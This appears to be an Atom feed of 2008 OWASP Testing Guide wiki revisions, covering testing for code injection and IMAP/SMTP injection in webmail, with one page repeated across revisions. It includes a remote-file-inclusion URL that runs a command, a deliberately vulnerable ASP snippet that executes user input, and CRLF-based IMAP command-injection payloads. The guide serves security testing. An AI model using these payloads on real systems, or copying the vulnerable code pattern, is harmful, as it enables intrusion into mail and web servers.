&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
 &lt;br /&gt;
This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found at http://www.owasp.org/index.php/Code_Injection&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
 &lt;br /&gt;
Code Injection testing involves a tester submitting code as input that is processed by the web server as dynamic code or as an included file.  These tests can target various server-side scripting engines, i.e. ASP, PHP, etc.  Proper validation and secure coding practices need to be employed to protect against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
 &lt;br /&gt;
'''Testing for PHP Injection vulnerabilities:'''&lt;br /&gt;
&lt;br /&gt;
Using the querystring, the tester can inject code (in this example, a malicious url) to be processed as part of the included file:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&amp;amp;cmd=uname%20-a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
&lt;br /&gt;
The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
'''Testing for ASP Code Injection vulnerabilities&lt;br /&gt;
&lt;br /&gt;
Examining ASP code for user input used in execution functions, e.g. Can the user enter commands into the Data input field?  Here, the ASP code will save it to file and then execute it:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;%&lt;br /&gt;
 If not isEmpty(Request( &amp;quot;Data&amp;quot; ) ) Then&lt;br /&gt;
 Dim fso, f&lt;br /&gt;
 'User input Data is written to a file named data.txt&lt;br /&gt;
 Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
 Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;data.txt&amp;quot; ), 8, True)&lt;br /&gt;
 f.Write Request(&amp;quot;Data&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
 f.close&lt;br /&gt;
 Set f = nothing&lt;br /&gt;
 Set fso = Nothing&lt;br /&gt;
&lt;br /&gt;
 'Data.txt is executed&lt;br /&gt;
 Server.Execute( &amp;quot;data.txt&amp;quot; )&lt;br /&gt;
&lt;br /&gt;
 Else&lt;br /&gt;
 %&amp;gt;&lt;br /&gt;
 &amp;lt;form&amp;gt;&lt;br /&gt;
 &amp;lt;input name=&amp;quot;Data&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Enter Data&amp;quot; /&amp;gt;&lt;br /&gt;
 &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;%&lt;br /&gt;
 End If&lt;br /&gt;
 %&amp;gt;)))&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Security Focus - http://www.securityfocus.com&lt;br /&gt;
&lt;br /&gt;
* Insecure.org - http://www.insecure.org&lt;br /&gt;
&lt;br /&gt;
* Wikipedia - http://www.wikipedia.org&lt;br /&gt;
&lt;br /&gt;
* OWASP Code Review - http://www.owasp.org/index.php/OS_Injection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_IMAP/SMTP_Injection_(OTG-INPVAL-011)&amp;diff=37008</id>
		<title>Testing for IMAP/SMTP Injection (OTG-INPVAL-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_IMAP/SMTP_Injection_(OTG-INPVAL-011)&amp;diff=37008"/>
				<updated>2008-08-23T07:44:58Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
This threat affects all those applications that communicate with mail servers (IMAP/SMTP), generally webmail applications. The aim of this test is to verify the capacity to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not properly sanitized.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Description of the Issue==&lt;br /&gt;
The IMAP/SMTP Injection technique is more effective if the mail server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to make a direct testing.&lt;br /&gt;
&lt;br /&gt;
An IMAP/SMTP Injection makes it possible to access a mail server which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same level of infrastructure security and hardening that is applied to the front-end web servers. Therefore, mail server results may be more vulnerable to attacks by end users (see the scheme presented in Figure 1).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:imap-smtp-injection.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
Figure 1 - Communication with the mail servers using the IMAP/SMTP Injection technique.&amp;lt;/center&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Figure 1 depicts the flow of traffic generally seen when using webmail technologies. Step 1 and 2 is the user interacting with the webmail client, whereas step 2' is the tester bypassing the webmail client and interacting with the back-end mail servers directly. &lt;br /&gt;
&lt;br /&gt;
This technique allows a wide variety of actions and attacks. The possibilities depend on the type and scope of injection and the mail server technology being tested. &lt;br /&gt;
&lt;br /&gt;
Some examples of attacks using the IMAP/SMTP Injection technique are:&lt;br /&gt;
* Exploitation of vulnerabilities in the IMAP/SMTP protocol&lt;br /&gt;
* Application restrictions evasion&lt;br /&gt;
* Anti-automation process evasion&lt;br /&gt;
* Information leaks&lt;br /&gt;
* Relay/SPAM&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The standard attacks pattern are:&lt;br /&gt;
* Identifying vulnerable parameters&lt;br /&gt;
* Understanding the data flow and deployment structure of the client&lt;br /&gt;
* IMAP/SMTP command injection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Identifying vulnerable parameters'''&lt;br /&gt;
----&lt;br /&gt;
In order to detect vulnerable parameters, the tester has to analyse the applications ability in handling input. Input validation testing requires the tester to send bogus, or malicious, requests to the server and analyse the response. In a secure application, the response should be an error with some corresponding action telling the client that something has gone wrong. In a vulnerable application, the malicious request may be processed by the back-end application that will answer with a &amp;quot;HTTP 200 OK&amp;quot; response message.&lt;br /&gt;
&lt;br /&gt;
It is important to notice that the requests being sent should match the technology being tested. Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested.   &lt;br /&gt;
&lt;br /&gt;
IMAP special parameters that should be used are:&lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''On the IMAP server''' || '''On the SMTP server'''&lt;br /&gt;
|-&lt;br /&gt;
 || Authentication || Emissor e-mail &lt;br /&gt;
|-&lt;br /&gt;
 || operations with mail boxes (list, read, create, delete, rename) || Destination e-mail&lt;br /&gt;
|-&lt;br /&gt;
 || operations with messages (read, copy, move, delete) || Subject&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
 || Disconnection || Message body&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
 ||  || Attached files&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the &amp;quot;mailbox&amp;quot; parameter is being tested by manipulating all requests with the parameter in:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The following examples can be used.&lt;br /&gt;
* Assign a null value to the parameter:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Substitute the value with a random value:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=NOTEXIST&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Add other values to the parameter:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX PARAMETER2&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Add non standard special characters (i.e.: \, ', &amp;quot;, @, #, !, |):&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;quot;&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Eliminate the parameter:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The final result of the above testing gives the tester three possible situations: &amp;lt;br&amp;gt;&lt;br /&gt;
S1 - The application returns a error code/message &amp;lt;br&amp;gt;&lt;br /&gt;
S2 - The application does not return an error code/message, but it does not realize the requested operation &amp;lt;br&amp;gt;&lt;br /&gt;
S3 - The application does not return an error code/message and realizes the operation requested normally &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Situations S1 and S2 represent successful IMAP/SMTP injection.&lt;br /&gt;
&lt;br /&gt;
An attacker's aim is receiving the S1 response as it is an indicator that the application is vulnerable to injection and further manipulation.&lt;br /&gt;
&lt;br /&gt;
Let's suppose that a user retrieves the email headers using the following HTTP request:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/view_header.php?mailbox=INBOX&amp;amp;passed_id=46105&amp;amp;passed_ent_id=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An attacker might modify the value of the parameter INBOX by injecting the character &amp;quot; (%22 using URL encoding):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/view_header.php?mailbox=INBOX%22&amp;amp;passed_id=46105&amp;amp;passed_ent_id=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, the application answer may be:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ERROR: Bad or malformed request.&lt;br /&gt;
Query: SELECT &amp;quot;INBOX&amp;quot;&amp;quot;&lt;br /&gt;
Server responded: Unexpected extra arguments to Select&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The situation S2 is harder to test successfully. The tester needs to use blind command injection in order to determine if the server is vulnerable.&lt;br /&gt;
&lt;br /&gt;
On the other hand, the last situation (S3) is not revelant in this paragraph.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
* List of vulnerable parameters &lt;br /&gt;
* Affected functionality &lt;br /&gt;
* Type of possible injection (IMAP/SMTP) &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Understanding the data flow and deployment structure of the client'''&lt;br /&gt;
----&lt;br /&gt;
After having identifying all vulnerable parameters (for example, &amp;quot;passed_id&amp;quot;), the tester needs to determine what level of injection is possible and then design a testing plan to further exploit the application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this test case, we have detected that the application's &amp;quot;passed_id&amp;quot; parameter is vulnerable and is used in the following request:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;amp;passed_id=46225&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using the following test case (providing an alphabetical value when a numerical value is required):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;amp;passed_id=test&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
will generate the following error message:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ERROR : Bad or malformed request.&lt;br /&gt;
Query: FETCH test:test BODY[HEADER]&lt;br /&gt;
Server responded: Error in IMAP command received by server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this example, the error message returned the name of the executed command and the corresponding parameters.&lt;br /&gt;
&lt;br /&gt;
In other situations, the error message (&amp;quot;not controlled&amp;quot; by the application) contains the name of the executed command, but reading the suitable RFC (see &amp;quot;Reference&amp;quot; paragraph) allows the tester to understand what other possible commands can be executed.&lt;br /&gt;
&lt;br /&gt;
If the application does not return descriptive error messages, the tester needs to analyze the affected functionality to deduce all the possible commands (and parameters) associated with the above mentioned functionality. For example, if a vulnerable parameter has been detected in the create  mailbox functionality, it is logical to assume that the affected IMAP command is &amp;quot;CREATE&amp;quot;. According to the RFC, the CREATE command accepts one parameter which specifies the name of the mailbox to create.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
* List of IMAP/SMTP commands affected &lt;br /&gt;
* Type, value, and number of parameters expected by the affected IMAP/SMTP commands&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''IMAP/SMTP command injection'''&lt;br /&gt;
----&lt;br /&gt;
Once the tester has identified vulnerable parameters and has analyzed the context in which it is executed, the next stage is exploiting the functionality.&lt;br /&gt;
&lt;br /&gt;
This stage has two possible outcomes:&amp;lt;br&amp;gt;&lt;br /&gt;
1. The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN and LOGOUT.&amp;lt;br&amp;gt; &lt;br /&gt;
2. The injection is only possible in an authenticated state: the successful exploitation requires the user to be fully authenticated before testing can continue.&lt;br /&gt;
&lt;br /&gt;
In any case, the typical structure of an IMAP/SMTP Injection is as follows:&lt;br /&gt;
* Header: ending of the expected command;&lt;br /&gt;
* Body: injection of the new command;&lt;br /&gt;
* Footer: beginning of the expected command.&lt;br /&gt;
&lt;br /&gt;
It is important to remember that, in order to execute an IMAP/SMTP command, the previous command must be terminated with the CRLF (%0d%0a) sequence. &lt;br /&gt;
Let's suppose that in the stage 1 (&amp;quot;Identifying vulnerable parameters&amp;quot;), the attacker detects that the parameter &amp;quot;message_id&amp;quot; in the following request is vulnerable:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/read_email.php?message_id=4791&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Let's suppose also that the outcome of the analysis performed in the stage 2 (&amp;quot;Understanding the data flow and deployment structure of the client&amp;quot;) has identified the command and arguments associated with this parameter as:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
FETCH 4791 BODY[HEADER]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this scenario, the IMAP injection structure would be:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Which would generate the following commands:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
???? FETCH 4791 BODY[HEADER]&lt;br /&gt;
V100 CAPABILITY&lt;br /&gt;
V101 FETCH 4791 BODY[HEADER]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Header = 4791 BODY[HEADER]&lt;br /&gt;
Body   = %0d%0aV100 CAPABILITY%0d%0a&lt;br /&gt;
Footer = V101 FETCH 4791 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Arbitrary IMAP/SMTP command injection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 0821 “Simple Mail Transfer Protocol”.&lt;br /&gt;
* RFC 3501 “Internet Message Access Protocol - Version 4rev1”.&lt;br /&gt;
* Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers&amp;quot; - &amp;lt;u&amp;gt;http://www.webappsec.org/projects/articles/121106.pdf&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_IMAP/SMTP_Injection_(OTG-INPVAL-011)&amp;diff=37007</id>
		<title>Testing for IMAP/SMTP Injection (OTG-INPVAL-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_IMAP/SMTP_Injection_(OTG-INPVAL-011)&amp;diff=37007"/>
				<updated>2008-08-23T07:29:02Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
This threat affects all those applications that communicate with mail servers (IMAP/SMTP), generally webmail applications. The aim of this test is to verify the capacity to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not properly sanitized.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Description of the Issue==&lt;br /&gt;
The IMAP/SMTP Injection technique is more effective if the mail server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to make a direct testing.&lt;br /&gt;
&lt;br /&gt;
An IMAP/SMTP Injection makes it possible to access a mail server which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same level of infrastructure security and hardening that is applied to the front-end web servers. Therefore, mail server results may be more vulnerable to attacks by end users (see the scheme presented in Figure 1).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:imap-smtp-injection.png]]&amp;lt;br&amp;gt;&lt;br /&gt;
Figure 1 - Communication with the mail servers using the IMAP/SMTP Injection technique.&amp;lt;/center&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Figure 1 depicts the flow of traffic generally seen when using webmail technologies. Step 1 and 2 is the user interacting with the webmail client, whereas step 2' is the tester bypassing the webmail client and interacting with the back-end mail servers directly. &lt;br /&gt;
&lt;br /&gt;
This technique allows a wide variety of actions and attacks. The possibilities depend on the type and scope of injection and the mail server technology being tested. &lt;br /&gt;
&lt;br /&gt;
Some examples of attacks using the IMAP/SMTP Injection technique are:&lt;br /&gt;
* Exploitation of vulnerabilities in the IMAP/SMTP protocol&lt;br /&gt;
* Application restrictions evasion&lt;br /&gt;
* Anti-automation process evasion&lt;br /&gt;
* Information leaks&lt;br /&gt;
* Relay/SPAM&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The standard attacks pattern are:&lt;br /&gt;
* Identifying vulnerable parameters&lt;br /&gt;
* Understanding the data flow and deployment structure of the client&lt;br /&gt;
* IMAP/SMTP command injection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Identifying vulnerable parameters'''&lt;br /&gt;
----&lt;br /&gt;
In order to detect vulnerable parameters requires the tester has to analyse the applications ability in handling input. Input validation testing requires the tester to send bogus, or malicious, requests to the server and analyse the response. In a secure developed application, the response should be an error with some corresponding action telling the client something has gone wrong. In a not secure application the malicious request may be processed by the back-end application that will answer with a &amp;quot;HTTP 200 OK&amp;quot; response message.&lt;br /&gt;
&lt;br /&gt;
It is important to notice that the requests being sent should match the technology being tested. Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested.   &lt;br /&gt;
&lt;br /&gt;
IMAP special parameters that should be used are:&lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''On the IMAP server''' || '''On the SMTP server'''&lt;br /&gt;
|-&lt;br /&gt;
 || Authentication || Emissor e-mail &lt;br /&gt;
|-&lt;br /&gt;
 || operations with mail boxes (list, read, create, delete, rename) || Destination e-mail&lt;br /&gt;
|-&lt;br /&gt;
 || operations with messages (read, copy, move, delete) || Subject&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
 || Disconnection || Message body&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
 ||  || Attached files&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this testing example, the &amp;quot;mailbox&amp;quot; parameter is being tested by manipulating all requests with the parameter in:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The following examples can be used.&lt;br /&gt;
* Left the parameter with a null value:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Substitute the value with a random value:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=NOTEXIST&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Add other values to the parameter:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX PARAMETER2&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Add non standard special characters (i.e.: \, ', &amp;quot;, @, #, !, |):&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;quot;&amp;amp;passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Eliminate the parameter:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?passed_id=46106&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The final result of the above testing gives the tester three possible situations: &amp;lt;br&amp;gt;&lt;br /&gt;
S1 - The application returns a error code/message &amp;lt;br&amp;gt;&lt;br /&gt;
S2 - The application does not return an error code/message, but it does not realize the requested operation &amp;lt;br&amp;gt;&lt;br /&gt;
S3 - The application does not return an error code/message and realizes the operation requested normally &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Situations S1 and S2 represent sucessful IMAP/SMTP injection.&lt;br /&gt;
&lt;br /&gt;
An attacker's aim is receiving the S1 response as its an indicator that the application is vulnerable to injection and further manipulation.&lt;br /&gt;
&lt;br /&gt;
Let's suppose that a user visualizes the email headers across the following HTTP request:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/view_header.php?mailbox=INBOX&amp;amp;passed_id=46105&amp;amp;passed_ent_id=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An attacker might modify the value of the parameter INBOX by injecting the character &amp;quot; (%22 using URL encoding):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/view_header.php?mailbox=INBOX%22&amp;amp;passed_id=46105&amp;amp;passed_ent_id=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case the application answer will be:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ERROR: Bad or malformed request.&lt;br /&gt;
Query: SELECT &amp;quot;INBOX&amp;quot;&amp;quot;&lt;br /&gt;
Server responded: Unexpected extra arguments to Select&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S2 is a harder testing technique to sucessfully execute. The tester needs to use blind command injection in order to determine if the server is vulnerable.&lt;br /&gt;
&lt;br /&gt;
On the other hand, the last scene (S3) does not have relevancy in this paragraph.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
* List of vulnerable parameters &lt;br /&gt;
* Affected functionality &lt;br /&gt;
* Type of possible injection (IMAP/SMTP) &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Understanding the data flow and deployment structure of the client'''&lt;br /&gt;
----&lt;br /&gt;
After having identifying all vulnerable parameters (for example, &amp;quot;passed_id&amp;quot;), the tester needs to determine what level of injection is possible and then draw up a testing plan to further exploit the application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this test case, we have detected that the application's &amp;quot;passed_id&amp;quot; is vulnerable and used in the following request:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;amp;passed_id=46225&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Using the following test case (to use an alphabetical value when a numerical value is required):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://&amp;lt;webmail&amp;gt;/src/read_body.php?mailbox=INBOX&amp;amp;passed_id=test&amp;amp;startMessage=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
will generate the following error message:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ERROR : Bad or malformed request.&lt;br /&gt;
Query: FETCH test:test BODY[HEADER]&lt;br /&gt;
Server responded: Error in IMAP command received by server.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the previous example, the other error message returned the name of the executed command and the associate parameters.&lt;br /&gt;
&lt;br /&gt;
In other situations, the error message (&amp;quot;not controlled&amp;quot; by the application) contains the name of the executed command, but reading the suitable RFC (see &amp;quot;Reference&amp;quot; paragraph) allows the tester understand what other possible commands can be executed.&lt;br /&gt;
&lt;br /&gt;
If the application does not return descriptive error messages, the tester needs to analyze the affected functionality to understand possible deduce all possible commands (and parameters) associated with the above mentioned functionality. For example, if the detection of the vulnerable parameter has been realized trying to create a mailbox, it turns out logical to think that the IMAP command affected will be &amp;quot;CREATE&amp;quot; and, according to the RFC, it contains a only parameter which value corresponds to the mailbox name that is expected to create.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
* List of IMAP/SMTP commands affected &lt;br /&gt;
* Type, value and number of parameters waited by the affected IMAP/SMTP commands&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''IMAP/SMTP command injection'''&lt;br /&gt;
----&lt;br /&gt;
Once the tester has identified vulnerable parameters and has analyzed the context in which it is executed, the next stage is exploiting the functionality.&lt;br /&gt;
&lt;br /&gt;
This stage has two possible outcomes:&amp;lt;br&amp;gt;&lt;br /&gt;
